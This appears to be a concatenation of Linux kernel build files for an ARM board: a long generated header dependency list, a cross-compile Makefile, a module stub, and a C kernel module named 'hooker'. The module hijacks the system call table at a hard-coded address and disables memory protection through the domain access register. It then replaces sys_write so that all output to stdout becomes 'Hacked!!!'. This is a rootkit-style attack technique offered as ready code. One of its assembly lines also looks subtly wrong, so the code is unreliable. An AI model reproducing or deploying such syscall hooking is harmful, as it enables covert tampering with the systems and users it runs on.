include/uapi/linux/sysinfo.h \
arch/arm/include/asm/cache.h \
$(wildcard include/config/arm/l1/cache/shift.h) \
$(wildcard include/config/aeabi.h) \
include/linux/dynamic_debug.h \
include/linux/string.h \
$(wildcard include/config/binary/printf.h) \
include/uapi/linux/string.h \
arch/arm/include/asm/string.h \
$(wildcard include/config/mach/bcm2708.h) \
include/linux/errno.h \
include/uapi/linux/errno.h \
arch/arm/include/generated/asm/errno.h \
include/uapi/asm-generic/errno.h \
include/uapi/asm-generic/errno-base.h \
arch/arm/include/asm/div64.h \
arch/arm/include/asm/compiler.h \
arch/arm/include/asm/bug.h \
$(wildcard include/config/bug.h) \
$(wildcard include/config/debug/bugverbose.h) \
$(wildcard include/config/arm/lpae.h) \
arch/arm/include/asm/opcodes.h \
$(wildcard include/config/cpu/endian/be32.h) \
include/asm-generic/bug.h \
$(wildcard include/config/generic/bug.h) \
$(wildcard include/config/generic/bug/relative/pointers.h) \
include/linux/module.h \
$(wildcard include/config/sysfs.h) \
$(wildcard include/config/module/sig.h) \
$(wildcard include/config/modules/tree/lookup.h) \
$(wildcard include/config/kallsyms.h) \
$(wildcard include/config/tracepoints.h) \
$(wildcard include/config/event/tracing.h) \
$(wildcard include/config/livepatch.h) \
$(wildcard include/config/module/unload.h) \
$(wildcard include/config/constructors.h) \
$(wildcard include/config/debug/set/module/ronx.h) \
include/linux/list.h \
$(wildcard include/config/debug/list.h) \
include/linux/poison.h \
$(wildcard include/config/illegal/pointer/value.h) \
include/uapi/linux/const.h \
include/linux/stat.h \
arch/arm/include/uapi/asm/stat.h \
include/uapi/linux/stat.h \
include/linux/time.h \
$(wildcard include/config/arch/uses/gettimeoffset.h) \
include/linux/seqlock.h \
$(wildcard include/config/debug/lock/alloc.h) \
include/linux/spinlock.h \
$(wildcard include/config/debug/spinlock.h) \
$(wildcard include/config/generic/lockbreak.h) \
$(wildcard include/config/preempt.h) \
include/linux/preempt.h \
$(wildcard include/config/preempt/count.h) \
$(wildcard include/config/debug/preempt.h) \
$(wildcard include/config/preempt/notifiers.h) \
arch/arm/include/generated/asm/preempt.h \
include/asm-generic/preempt.h \
include/linux/thread_info.h \
$(wildcard include/config/compat.h) \
$(wildcard include/config/debug/stack/usage.h) \
include/linux/bug.h \
arch/arm/include/asm/thread_info.h \
$(wildcard include/config/crunch.h) \
$(wildcard include/config/arm/thumbee.h) \
arch/arm/include/asm/fpstate.h \
$(wildcard include/config/vfpv3.h) \
$(wildcard include/config/iwmmxt.h) \
arch/arm/include/asm/page.h \
$(wildcard include/config/cpu/copy/v4wt.h) \
$(wildcard include/config/cpu/copy/v4wb.h) \
$(wildcard include/config/cpu/copy/feroceon.h) \
$(wildcard include/config/cpu/copy/fa.h) \
$(wildcard include/config/cpu/sa1100.h) \
$(wildcard include/config/cpu/xscale.h) \
$(wildcard include/config/cpu/copy/v6.h) \
$(wildcard include/config/kuser/helpers.h) \
$(wildcard include/config/have/arch/pfn/valid.h) \
arch/arm/include/asm/glue.h \
arch/arm/include/asm/pgtable-2level-types.h \
arch/arm/include/asm/memory.h \
$(wildcard include/config/need/mach/memory/h.h) \
$(wildcard include/config/page/offset.h) \
$(wildcard include/config/highmem.h) \
$(wildcard include/config/dram/base.h) \
$(wildcard include/config/dram/size.h) \
$(wildcard include/config/have/tcm.h) \
$(wildcard include/config/arm/patch/phys/virt.h) \
$(wildcard include/config/phys/offset.h) \
$(wildcard include/config/virt/to/bus.h) \
include/linux/sizes.h \
arch/arm/mach-bcm2709/include/mach/memory.h \
$(wildcard include/config/bcm2708/nol2cache.h) \
include/asm-generic/memory_model.h \
$(wildcard include/config/flatmem.h) \
$(wildcard include/config/discontigmem.h) \
$(wildcard include/config/sparsemem/vmemmap.h) \
$(wildcard include/config/sparsemem.h) \
include/asm-generic/getorder.h \
include/linux/bottom_half.h \
include/linux/spinlock_types.h \
arch/arm/include/asm/spinlock_types.h \
include/linux/lockdep.h \
$(wildcard include/config/lockdep.h) \
$(wildcard include/config/lock/stat.h) \
include/linux/rwlock_types.h \
arch/arm/include/asm/spinlock.h \
include/linux/prefetch.h \
arch/arm/include/asm/processor.h \
$(wildcard include/config/have/hw/breakpoint.h) \
$(wildcard include/config/arm/errata/754327.h) \
arch/arm/include/asm/hw_breakpoint.h \
arch/arm/include/asm/unified.h \
$(wildcard include/config/arm/asm/unified.h) \
include/linux/rwlock.h \
include/linux/spinlock_api_smp.h \
$(wildcard include/config/inline/spin/lock.h) \
$(wildcard include/config/inline/spin/lock/bh.h) \
$(wildcard include/config/inline/spin/lock/irq.h) \
$(wildcard include/config/inline/spin/lock/irqsave.h) \
$(wildcard include/config/inline/spin/trylock.h) \
$(wildcard include/config/inline/spin/trylock/bh.h) \
$(wildcard include/config/uninline/spin/unlock.h) \
$(wildcard include/config/inline/spin/unlock/bh.h) \
$(wildcard include/config/inline/spin/unlock/irq.h) \
$(wildcard include/config/inline/spin/unlock/irqrestore.h) \
include/linux/rwlock_api_smp.h \
$(wildcard include/config/inline/read/lock.h) \
$(wildcard include/config/inline/write/lock.h) \
$(wildcard include/config/inline/read/lock/bh.h) \
$(wildcard include/config/inline/write/lock/bh.h) \
$(wildcard include/config/inline/read/lock/irq.h) \
$(wildcard include/config/inline/write/lock/irq.h) \
$(wildcard include/config/inline/read/lock/irqsave.h) \
$(wildcard include/config/inline/write/lock/irqsave.h) \
$(wildcard include/config/inline/read/trylock.h) \
$(wildcard include/config/inline/write/trylock.h) \
$(wildcard include/config/inline/read/unlock.h) \
$(wildcard include/config/inline/write/unlock.h) \
$(wildcard include/config/inline/read/unlock/bh.h) \
$(wildcard include/config/inline/write/unlock/bh.h) \
$(wildcard include/config/inline/read/unlock/irq.h) \
$(wildcard include/config/inline/write/unlock/irq.h) \
$(wildcard include/config/inline/read/unlock/irqrestore.h) \
$(wildcard include/config/inline/write/unlock/irqrestore.h) \
include/linux/atomic.h \
$(wildcard include/config/generic/atomic64.h) \
arch/arm/include/asm/atomic.h \
arch/arm/include/asm/cmpxchg.h \
$(wildcard include/config/cpu/sa110.h) \
$(wildcard include/config/cpu/v6.h) \
include/asm-generic/cmpxchg-local.h \
include/asm-generic/atomic-long.h \
include/linux/math64.h \
$(wildcard include/config/arch/supports/int128.h) \
include/linux/time64.h \
include/uapi/linux/time.h \
include/linux/uidgid.h \
$(wildcard include/config/multiuser.h) \
$(wildcard include/config/user/ns.h) \
include/linux/highuid.h \
include/linux/kmod.h \
include/linux/gfp.h \
$(wildcard include/config/zone/dma.h) \
$(wildcard include/config/zone/dma32.h) \
$(wildcard include/config/numa.h) \
$(wildcard include/config/deferred/struct/page/init.h) \
$(wildcard include/config/pm/sleep.h) \
$(wildcard include/config/cma.h) \
include/linux/mmdebug.h \
$(wildcard include/config/debug/vm.h) \
$(wildcard include/config/debug/virtual.h) \
include/linux/mmzone.h \
$(wildcard include/config/force/max/zoneorder.h) \
$(wildcard include/config/memory/isolation.h) \
$(wildcard include/config/memcg.h) \
$(wildcard include/config/zone/device.h) \
$(wildcard include/config/memory/hotplug.h) \
$(wildcard include/config/compaction.h) \
$(wildcard include/config/flat/node/mem/map.h) \
$(wildcard include/config/page/extension.h) \
$(wildcard include/config/no/bootmem.h) \
$(wildcard include/config/numa/balancing.h) \
$(wildcard include/config/have/memory/present.h) \
$(wildcard include/config/have/memoryless/nodes.h) \
$(wildcard include/config/need/node/memmap/size.h) \
$(wildcard include/config/have/memblock/node/map.h) \
$(wildcard include/config/need/multiple/nodes.h) \
$(wildcard include/config/have/arch/early/pfn/to/nid.h) \
$(wildcard include/config/sparsemem/extreme.h) \
$(wildcard include/config/holes/in/zone.h) \
$(wildcard include/config/arch/has/holes/memorymodel.h) \
include/linux/wait.h \
arch/arm/include/generated/asm/current.h \
include/asm-generic/current.h \
include/uapi/linux/wait.h \
include/linux/threads.h \
$(wildcard include/config/nr/cpus.h) \
$(wildcard include/config/base/small.h) \
include/linux/numa.h \
$(wildcard include/config/nodes/shift.h) \
include/linux/nodemask.h \
$(wildcard include/config/movable/node.h) \
include/linux/bitmap.h \
include/linux/pageblock-flags.h \
$(wildcard include/config/hugetlb/page.h) \
$(wildcard include/config/hugetlb/page/size/variable.h) \
include/linux/page-flags-layout.h \
include/generated/bounds.h \
include/linux/memory_hotplug.h \
$(wildcard include/config/memory/hotremove.h) \
$(wildcard include/config/have/arch/nodedata/extension.h) \
$(wildcard include/config/have/bootmem/info/node.h) \
include/linux/notifier.h \
include/linux/mutex.h \
$(wildcard include/config/debug/mutexes.h) \
$(wildcard include/config/mutex/spin/on/owner.h) \
include/linux/osq_lock.h \
include/linux/rwsem.h \
$(wildcard include/config/rwsem/spin/on/owner.h) \
$(wildcard include/config/rwsem/generic/spinlock.h) \
arch/arm/include/generated/asm/rwsem.h \
include/asm-generic/rwsem.h \
include/linux/srcu.h \
include/linux/rcupdate.h \
$(wildcard include/config/tiny/rcu.h) \
$(wildcard include/config/tree/rcu.h) \
$(wildcard include/config/preempt/rcu.h) \
$(wildcard include/config/rcu/trace.h) \
$(wildcard include/config/rcu/stall/common.h) \
$(wildcard include/config/no/hz/full.h) \
$(wildcard include/config/rcu/nocb/cpu.h) \
$(wildcard include/config/tasks/rcu.h) \
$(wildcard include/config/debug/objects/rcu/head.h) \
$(wildcard include/config/hotplug/cpu.h) \
$(wildcard include/config/prove/rcu.h) \
$(wildcard include/config/rcu/boost.h) \
$(wildcard include/config/rcu/nocb/cpu/all.h) \
$(wildcard include/config/no/hz/full/sysidle.h) \
include/linux/cpumask.h \
$(wildcard include/config/cpumask/offstack.h) \
$(wildcard include/config/debug/per/cpu/maps.h) \
include/linux/completion.h \
include/linux/debugobjects.h \
$(wildcard include/config/debug/objects.h) \
$(wildcard include/config/debug/objects/free.h) \
include/linux/ktime.h \
include/linux/jiffies.h \
include/linux/timex.h \
include/uapi/linux/timex.h \
include/uapi/linux/param.h \
arch/arm/include/generated/asm/param.h \
include/asm-generic/param.h \
$(wildcard include/config/hz.h) \
include/uapi/asm-generic/param.h \
arch/arm/include/asm/timex.h \
include/generated/timeconst.h \
include/linux/timekeeping.h \
include/linux/rcutree.h \
include/linux/workqueue.h \
$(wildcard include/config/debug/objects/work.h) \
$(wildcard include/config/freezer.h) \
include/linux/timer.h \
$(wildcard include/config/timer/stats.h) \
$(wildcard include/config/debug/objects/timers.h) \
$(wildcard include/config/no/hz/common.h) \
include/linux/sysctl.h \
$(wildcard include/config/sysctl.h) \
include/linux/rbtree.h \
include/uapi/linux/sysctl.h \
include/linux/topology.h \
$(wildcard include/config/use/percpu/numa/node/id.h) \
$(wildcard include/config/sched/smt.h) \
include/linux/smp.h \
$(wildcard include/config/up/late/init.h) \
include/linux/llist.h \
$(wildcard include/config/arch/have/nmi/safe/cmpxchg.h) \
arch/arm/include/asm/smp.h \
include/linux/percpu.h \
$(wildcard include/config/need/per/cpu/embed/first/chunk.h) \
$(wildcard include/config/need/per/cpu/page/first/chunk.h) \
$(wildcard include/config/have/setup/per/cpu/area.h) \
include/linux/pfn.h \
arch/arm/include/asm/percpu.h \
include/asm-generic/percpu.h \
include/linux/percpu-defs.h \
$(wildcard include/config/debug/force/weak/per/cpu.h) \
arch/arm/include/asm/topology.h \
$(wildcard include/config/arm/cpu/topology.h) \
include/asm-generic/topology.h \
include/linux/elf.h \
arch/arm/include/asm/elf.h \
$(wildcard include/config/vdso.h) \
arch/arm/include/asm/auxvec.h \
arch/arm/include/uapi/asm/auxvec.h \
arch/arm/include/asm/vdso_datapage.h \
arch/arm/include/asm/user.h \
include/uapi/linux/elf.h \
include/uapi/linux/elf-em.h \
include/linux/kobject.h \
$(wildcard include/config/uevent/helper.h) \
$(wildcard include/config/debug/kobject/release.h) \
include/linux/sysfs.h \
include/linux/kernfs.h \
$(wildcard include/config/kernfs.h) \
include/linux/err.h \
include/linux/idr.h \
include/linux/kobject_ns.h \
include/linux/kref.h \
include/linux/moduleparam.h \
$(wildcard include/config/alpha.h) \
$(wildcard include/config/ia64.h) \
$(wildcard include/config/ppc64.h) \
include/linux/jump_label.h \
$(wildcard include/config/jump/label.h) \
arch/arm/include/asm/jump_label.h \
include/linux/rbtree_latch.h \
arch/arm/include/asm/module.h \
$(wildcard include/config/arm/unwind.h) \
$(wildcard include/config/arm/module/plts.h) \
include/asm-generic/module.h \
$(wildcard include/config/have/mod/arch/specific.h) \
$(wildcard include/config/modules/use/elf/rel.h) \
$(wildcard include/config/modules/use/elf/rela.h) \
include/linux/syscalls.h \
$(wildcard include/config/ftrace/syscalls.h) \
$(wildcard include/config/old/sigsuspend.h) \
$(wildcard include/config/old/sigsuspend3.h) \
$(wildcard include/config/old/sigaction.h) \
$(wildcard include/config/odd/rt/sigaction.h) \
$(wildcard include/config/clone/backwards.h) \
$(wildcard include/config/clone/backwards3.h) \
include/uapi/linux/aio_abi.h \
include/linux/capability.h \
include/uapi/linux/capability.h \
include/linux/signal.h \
$(wildcard include/config/proc/fs.h) \
include/uapi/linux/signal.h \
arch/arm/include/asm/signal.h \
arch/arm/include/uapi/asm/signal.h \
include/uapi/asm-generic/signal-defs.h \
arch/arm/include/uapi/asm/sigcontext.h \
arch/arm/include/generated/asm/siginfo.h \
include/asm-generic/siginfo.h \
include/uapi/asm-generic/siginfo.h \
include/linux/sem.h \
$(wildcard include/config/sysvipc.h) \
include/uapi/linux/sem.h \
include/linux/ipc.h \
include/uapi/linux/ipc.h \
arch/arm/include/generated/asm/ipcbuf.h \
include/uapi/asm-generic/ipcbuf.h \
arch/arm/include/generated/asm/sembuf.h \
include/uapi/asm-generic/sembuf.h \
include/uapi/linux/unistd.h \
arch/arm/include/asm/unistd.h \
$(wildcard include/config/oabi/compat.h) \
arch/arm/include/uapi/asm/unistd.h \
include/linux/quota.h \
$(wildcard include/config/quota/netlink/interface.h) \
include/linux/percpu_counter.h \
include/uapi/linux/dqblk_xfs.h \
include/linux/dqblk_v1.h \
include/linux/dqblk_v2.h \
include/linux/dqblk_qtree.h \
include/linux/projid.h \
include/uapi/linux/quota.h \
include/linux/key.h \
$(wildcard include/config/keys.h) \
include/linux/assoc_array.h \
$(wildcard include/config/associative/array.h) \
include/trace/syscall.h \
$(wildcard include/config/have/syscall/tracepoints.h) \
include/linux/tracepoint.h \
$(wildcard include/config/tracepoint.h) \
include/linux/static_key.h \
include/linux/trace_events.h \
$(wildcard include/config/perf/events.h) \
$(wildcard include/config/bpf/events.h) \
include/linux/ring_buffer.h \
$(wildcard include/config/ring/buffer/allow/swap.h) \
include/linux/kmemcheck.h \
$(wildcard include/config/kmemcheck.h) \
include/linux/mm_types.h \
$(wildcard include/config/split/ptlock/cpus.h) \
$(wildcard include/config/arch/enable/split/pmd/ptlock.h) \
$(wildcard include/config/have/cmpxchg/double.h) \
$(wildcard include/config/have/aligned/struct/page.h) \
$(wildcard include/config/transparent/hugepage.h) \
$(wildcard include/config/userfaultfd.h) \
$(wildcard include/config/pgtable/levels.h) \
$(wildcard include/config/aio.h) \
$(wildcard include/config/mmu/notifier.h) \
$(wildcard include/config/x86/intel/mpx.h) \
include/linux/auxvec.h \
include/uapi/linux/auxvec.h \
include/linux/uprobes.h \
$(wildcard include/config/uprobes.h) \
arch/arm/include/asm/mmu.h \
$(wildcard include/config/cpu/has/asid.h) \
include/linux/mm.h \
$(wildcard include/config/mem/soft/dirty.h) \
$(wildcard include/config/x86.h) \
$(wildcard include/config/ppc.h) \
$(wildcard include/config/parisc.h) \
$(wildcard include/config/metag.h) \
$(wildcard include/config/stack/growsup.h) \
$(wildcard include/config/shmem.h) \
$(wildcard include/config/debug/vm/rb.h) \
$(wildcard include/config/debug/pagealloc.h) \
$(wildcard include/config/hibernation.h) \
$(wildcard include/config/hugetlbfs.h) \
include/linux/debug_locks.h \
$(wildcard include/config/debug/locking/api/selftests.h) \
include/linux/range.h \
include/linux/bit_spinlock.h \
include/linux/shrinker.h \
include/linux/resource.h \
include/uapi/linux/resource.h \
arch/arm/include/generated/asm/resource.h \
include/asm-generic/resource.h \
include/uapi/asm-generic/resource.h \
include/linux/page_ext.h \
$(wildcard include/config/idle/page/tracking.h) \
$(wildcard include/config/page/owner.h) \
include/linux/stacktrace.h \
$(wildcard include/config/stacktrace.h) \
$(wildcard include/config/user/stacktrace/support.h) \
arch/arm/include/asm/pgtable.h \
$(wildcard include/config/highpte.h) \
arch/arm/include/asm/proc-fns.h \
arch/arm/include/asm/glue-proc.h \
$(wildcard include/config/cpu/arm7tdmi.h) \
$(wildcard include/config/cpu/arm720t.h) \
$(wildcard include/config/cpu/arm740t.h) \
$(wildcard include/config/cpu/arm9tdmi.h) \
$(wildcard include/config/cpu/arm920t.h) \
$(wildcard include/config/cpu/arm922t.h) \
$(wildcard include/config/cpu/arm925t.h) \
$(wildcard include/config/cpu/arm926t.h) \
$(wildcard include/config/cpu/arm940t.h) \
$(wildcard include/config/cpu/arm946e.h) \
$(wildcard include/config/cpu/arm1020.h) \
$(wildcard include/config/cpu/arm1020e.h) \
$(wildcard include/config/cpu/arm1022.h) \
$(wildcard include/config/cpu/arm1026.h) \
$(wildcard include/config/cpu/mohawk.h) \
$(wildcard include/config/cpu/feroceon.h) \
$(wildcard include/config/cpu/v6k.h) \
$(wildcard include/config/cpu/pj4b.h) \
$(wildcard include/config/cpu/v7.h) \
include/asm-generic/pgtable-nopud.h \
arch/arm/include/asm/pgtable-hwdef.h \
arch/arm/include/asm/pgtable-2level-hwdef.h \
arch/arm/include/asm/tlbflush.h \
$(wildcard include/config/smp/on/up.h) \
$(wildcard include/config/cpu/tlb/v4wt.h) \
$(wildcard include/config/cpu/tlb/fa.h) \
$(wildcard include/config/cpu/tlb/v4wbi.h) \
$(wildcard include/config/cpu/tlb/feroceon.h) \
$(wildcard include/config/cpu/tlb/v4wb.h) \
$(wildcard include/config/cpu/tlb/v6.h) \
$(wildcard include/config/cpu/tlb/v7.h) \
$(wildcard include/config/arm/errata/720789.h) \
$(wildcard include/config/arm/errata/798181.h) \
include/linux/sched.h \
$(wildcard include/config/sched/debug.h) \
$(wildcard include/config/lockup/detector.h) \
$(wildcard include/config/detect/hung/task.h) \
$(wildcard include/config/core/dump/default/elf/headers.h) \
$(wildcard include/config/virt/cpu/accounting/native.h) \
$(wildcard include/config/sched/autogroup.h) \
$(wildcard include/config/bsd/process/acct.h) \
$(wildcard include/config/taskstats.h) \
$(wildcard include/config/audit.h) \
$(wildcard include/config/inotify/user.h) \
$(wildcard include/config/fanotify.h) \
$(wildcard include/config/epoll.h) \
$(wildcard include/config/posix/mqueue.h) \
$(wildcard include/config/bpf/syscall.h) \
$(wildcard include/config/sched/info.h) \
$(wildcard include/config/task/delay/acct.h) \
$(wildcard include/config/schedstats.h) \
$(wildcard include/config/sched/mc.h) \
$(wildcard include/config/fair/group/sched.h) \
$(wildcard include/config/rt/group/sched.h) \
$(wildcard include/config/cgroup/sched.h) \
$(wildcard include/config/blk/dev/io/trace.h) \
$(wildcard include/config/memcg/kmem.h) \
$(wildcard include/config/compat/brk.h) \
$(wildcard include/config/cc/stackprotector.h) \
$(wildcard include/config/virt/cpu/accounting/gen.h) \
$(wildcard include/config/auditsyscall.h) \
$(wildcard include/config/rt/mutexes.h) \
$(wildcard include/config/block.h) \
$(wildcard include/config/task/xacct.h) \
$(wildcard include/config/cpusets.h) \
$(wildcard include/config/cgroups.h) \
$(wildcard include/config/futex.h) \
$(wildcard include/config/arch/want/batched/unmap/tlb/flush.h) \
$(wildcard include/config/fault/injection.h) \
$(wildcard include/config/latencytop.h) \
$(wildcard include/config/function/graph/tracer.h) \
$(wildcard include/config/bcache.h) \
$(wildcard include/config/arch/wants/dynamic/task/struct.h) \
$(wildcard include/config/have/unstable/sched/clock.h) \
$(wildcard include/config/irq/time/accounting.h) \
$(wildcard include/config/have/copy/thread/tls.h) \
include/uapi/linux/sched.h \
include/linux/sched/prio.h \
include/linux/plist.h \
$(wildcard include/config/debug/pi/list.h) \
include/linux/cputime.h \
arch/arm/include/generated/asm/cputime.h \
include/asm-generic/cputime.h \
$(wildcard include/config/virt/cpu/accounting.h) \
include/asm-generic/cputime_jiffies.h \
include/linux/shm.h \
include/uapi/linux/shm.h \
arch/arm/include/generated/asm/shmbuf.h \
include/uapi/asm-generic/shmbuf.h \
arch/arm/include/asm/shmparam.h \
include/linux/pid.h \
include/linux/proportions.h \
include/linux/seccomp.h \
$(wildcard include/config/seccomp.h) \
$(wildcard include/config/have/arch/seccomp/filter.h) \
$(wildcard include/config/seccomp/filter.h) \
$(wildcard include/config/checkpoint/restore.h) \
include/uapi/linux/seccomp.h \
arch/arm/include/generated/asm/seccomp.h \
include/asm-generic/seccomp.h \
include/linux/rculist.h \
include/linux/rtmutex.h \
$(wildcard include/config/debug/rt/mutexes.h) \
include/linux/hrtimer.h \
$(wildcard include/config/high/res/timers.h) \
$(wildcard include/config/time/low/res.h) \
$(wildcard include/config/timerfd.h) \
include/linux/timerqueue.h \
include/linux/task_io_accounting.h \
$(wildcard include/config/task/io/accounting.h) \
include/linux/latencytop.h \
include/linux/cred.h \
$(wildcard include/config/debug/credentials.h) \
$(wildcard include/config/security.h) \
include/linux/selinux.h \
$(wildcard include/config/security/selinux.h) \
include/uapi/linux/magic.h \
include/linux/cgroup-defs.h \
include/uapi/linux/limits.h \
include/linux/percpu-refcount.h \
include/linux/percpu-rwsem.h \
include/linux/rcu_sync.h \
include/linux/cgroup_subsys.h \
$(wildcard include/config/cgroup/cpuacct.h) \
$(wildcard include/config/blk/cgroup.h) \
$(wildcard include/config/cgroup/device.h) \
$(wildcard include/config/cgroup/freezer.h) \
$(wildcard include/config/cgroup/net/classid.h) \
$(wildcard include/config/cgroup/perf.h) \
$(wildcard include/config/cgroup/net/prio.h) \
$(wildcard include/config/cgroup/hugetlb.h) \
$(wildcard include/config/cgroup/pids.h) \
$(wildcard include/config/cgroup/debug.h) \
arch/arm/include/asm/pgtable-2level.h \
include/asm-generic/pgtable.h \
$(wildcard include/config/have/arch/soft/dirty.h) \
$(wildcard include/config/have/arch/huge/vmap.h) \
include/linux/page-flags.h \
$(wildcard include/config/arch/uses/pg/uncached.h) \
$(wildcard include/config/memory/failure.h) \
$(wildcard include/config/swap.h) \
$(wildcard include/config/ksm.h) \
include/linux/huge_mm.h \
include/linux/vmstat.h \
$(wildcard include/config/vm/event/counters.h) \
$(wildcard include/config/debug/tlbflush.h) \
$(wildcard include/config/debug/vm/vmacache.h) \
include/linux/vm_event_item.h \
$(wildcard include/config/migration.h) \
$(wildcard include/config/memory/balloon.h) \
$(wildcard include/config/balloon/compaction.h) \
include/linux/seq_file.h \
include/linux/poll.h \
include/linux/fs.h \
$(wildcard include/config/fs/posix/acl.h) \
$(wildcard include/config/cgroup/writeback.h) \
$(wildcard include/config/ima.h) \
$(wildcard include/config/fsnotify.h) \
$(wildcard include/config/file/locking.h) \
$(wildcard include/config/quota.h) \
$(wildcard include/config/fs/dax.h) \
include/linux/kdev_t.h \
include/uapi/linux/kdev_t.h \
include/linux/dcache.h \
include/linux/rculist_bl.h \
include/linux/list_bl.h \
include/linux/lockref.h \
$(wildcard include/config/arch/use/cmpxchg/lockref.h) \
include/linux/path.h \
include/linux/list_lru.h \
include/linux/radix-tree.h \
include/linux/semaphore.h \
include/uapi/linux/fiemap.h \
include/linux/migrate_mode.h \
include/linux/blk_types.h \
$(wildcard include/config/blk/dev/integrity.h) \
include/uapi/linux/fs.h \
include/uapi/linux/ioctl.h \
arch/arm/include/generated/asm/ioctl.h \
include/asm-generic/ioctl.h \
include/uapi/asm-generic/ioctl.h \
include/linux/nfs_fs_i.h \
include/linux/fcntl.h \
include/uapi/linux/fcntl.h \
arch/arm/include/uapi/asm/fcntl.h \
include/uapi/asm-generic/fcntl.h \
arch/arm/include/asm/uaccess.h \
$(wildcard include/config/have/efficient/unaligned/access.h) \
$(wildcard include/config/cpu/sw/domain/pan.h) \
$(wildcard include/config/cpu/use/domains.h) \
$(wildcard include/config/uaccess/with/memcpy.h) \
arch/arm/include/asm/domain.h \
$(wildcard include/config/io/36.h) \
include/uapi/linux/poll.h \
arch/arm/include/generated/asm/poll.h \
include/uapi/asm-generic/poll.h \
include/linux/trace_seq.h \
include/linux/seq_buf.h \
include/linux/hardirq.h \
include/linux/ftrace_irq.h \
$(wildcard include/config/ftrace/nmi/enter.h) \
include/linux/vtime.h \
include/linux/context_tracking_state.h \
$(wildcard include/config/context/tracking.h) \
arch/arm/include/asm/hardirq.h \
arch/arm/include/asm/irq.h \
$(wildcard include/config/sparse/irq.h) \
$(wildcard include/config/multi/irq/handler.h) \
include/linux/irq_cpustat.h \
include/linux/perf_event.h \
$(wildcard include/config/function/tracer.h) \
$(wildcard include/config/cpu/sup/intel.h) \
include/uapi/linux/perf_event.h \
arch/arm/include/asm/perf_event.h \
arch/arm/include/generated/asm/local64.h \
include/asm-generic/local64.h \
include/linux/pid_namespace.h \
$(wildcard include/config/pid/ns.h) \
include/linux/nsproxy.h \
include/linux/ns_common.h \
include/linux/ftrace.h \
$(wildcard include/config/dynamic/ftrace/with/regs.h) \
$(wildcard include/config/dynamic/ftrace.h) \
$(wildcard include/config/stack/tracer.h) \
$(wildcard include/config/frame/pointer.h) \
include/linux/trace_clock.h \
arch/arm/include/generated/asm/trace_clock.h \
include/asm-generic/trace_clock.h \
include/linux/kallsyms.h \
include/linux/ptrace.h \
include/uapi/linux/ptrace.h \
arch/arm/include/asm/ftrace.h \
$(wildcard include/config/old/mcount.h) \
include/linux/cpu.h \
$(wildcard include/config/pm/sleep/smp.h) \
include/linux/node.h \
$(wildcard include/config/memory/hotplug/sparse.h) \
include/linux/device.h \
$(wildcard include/config/debug/devres.h) \
$(wildcard include/config/generic/msi/irq/domain.h) \
$(wildcard include/config/pinctrl.h) \
$(wildcard include/config/generic/msi/irq.h) \
$(wildcard include/config/dma/cma.h) \
$(wildcard include/config/of.h) \
$(wildcard include/config/devtmpfs.h) \
$(wildcard include/config/sysfs/deprecated.h) \
include/linux/ioport.h \
include/linux/klist.h \
include/linux/pinctrl/devinfo.h \
$(wildcard include/config/pm.h) \
include/linux/pinctrl/consumer.h \
include/linux/pinctrl/pinctrl-state.h \
include/linux/pm.h \
$(wildcard include/config/vt/console/sleep.h) \
$(wildcard include/config/pm/clk.h) \
$(wildcard include/config/pm/generic/domains.h) \
include/linux/ratelimit.h \
arch/arm/include/asm/device.h \
$(wildcard include/config/dmabounce.h) \
$(wildcard include/config/iommu/api.h) \
$(wildcard include/config/arm/dma/use/iommu.h) \
$(wildcard include/config/arch/omap.h) \
include/linux/pm_wakeup.h \
include/linux/irq_work.h \
$(wildcard include/config/irq/work.h) \
arch/arm/include/asm/irq_work.h \
arch/arm/include/asm/smp_plat.h \
arch/arm/include/asm/cpu.h \
arch/arm/include/asm/cputype.h \
$(wildcard include/config/cpu/cp15.h) \
$(wildcard include/config/cpu/pj4.h) \
include/linux/jump_label_ratelimit.h \
include/linux/perf_regs.h \
$(wildcard include/config/have/perf/regs.h) \
arch/arm/include/uapi/asm/perf_regs.h \
include/linux/cgroup.h \
include/uapi/linux/cgroupstats.h \
include/uapi/linux/taskstats.h \
arch/arm/include/generated/asm/local.h \
include/asm-generic/local.h \
/root/hooking/dhooker/hooker.o: $(deps_/root/hooking/dhooker/hooker.o)
$(deps_/root/hooking/dhooker/hooker.o):
/root/hooking/dhooker/hooker.ko
/root/hooking/dhooker/hooker.o
obj-m := hooker.o
KDIR=/root/working/linux
PWD=$(shell pwd)
TOOLCHAIN=arm-linux-gnueabihf-
TARGET=arm
all:
$(MAKE) -C $(KDIR) M=$(PWD) ARCH=$(TARGET) CROSS_COMPILE=$(TOOLCHAIN) modules
clean:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/string.h>
#define SYSCALL_TABLE_BASE_ADDR (0x8000fc28)
#define MANAGER_PERMISSION (0xff)
unsigned int ** g_puSysTableAddr = (unsigned int**) SYSCALL_TABLE_BASE_ADDR;
unsigned int g_uPrevAP = 0x00;
unsigned int g_uNewAP = MANAGER_PERMISSION;
unsigned int (* sys_write_orig)(int fd, char *byf, size_t count);
//sys_write_orig() 호출 전 pBuF의 내용 수정
unsigned int sys_write_hooked(int nFD, char *pBuf, size_t nCnt){
if(nFD == 1){
memset(pBuf, 0, nCnt);
strcpy(pBuf, "Hacked!!!\n");
return sys_write_orig(nFD,pBuf, nCnt);
}
else{
return sys_write_orig(nFD,pBuf, nCnt);
}
}
int __init Hook_Init(void){
sys_write_orig = (void *)g_puSysTableAddr[__NR_write];
__asm__ __volatile__("mrc p15, 0, %0, c3, c0" : "=r"(g_uPrevAP));
__asm__ __volatile__("mrc p15, 0, %0, c3, c0" : : "r"(g_uNewAP));
g_puSysTableAddr[__NR_write] = (unsigned int *) sys_write_hooked;
__asm__ __volatile__("mcr p15,0, %0, c3, c0" : :"r"(g_uPrevAP));
return 0;
}
void __exit Hook_Exit(void){
__asm__ __volatile__("mrc p15,0, %0, c3,c0" : "=r"(g_uPrevAP));
__asm__ __volatile__("mcr p15, 0, %0, c3, c0" : :"r"(g_uNewAP));
g_puSysTableAddr[__NR_write] = (unsigned int *) sys_write_orig;
__asm__ __volatile__("mcr p15,0, %0, c3, c0" : :"r"(g_uPrevAP));
}
module_init(Hook_Init);
module_exit(Hook_Exit);
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>
MODULE_INFO(vermagic, VERMAGIC_STRING);
__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = KBUILD_MODNAME,
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
.arch = MODULE_ARCH_INIT,
};
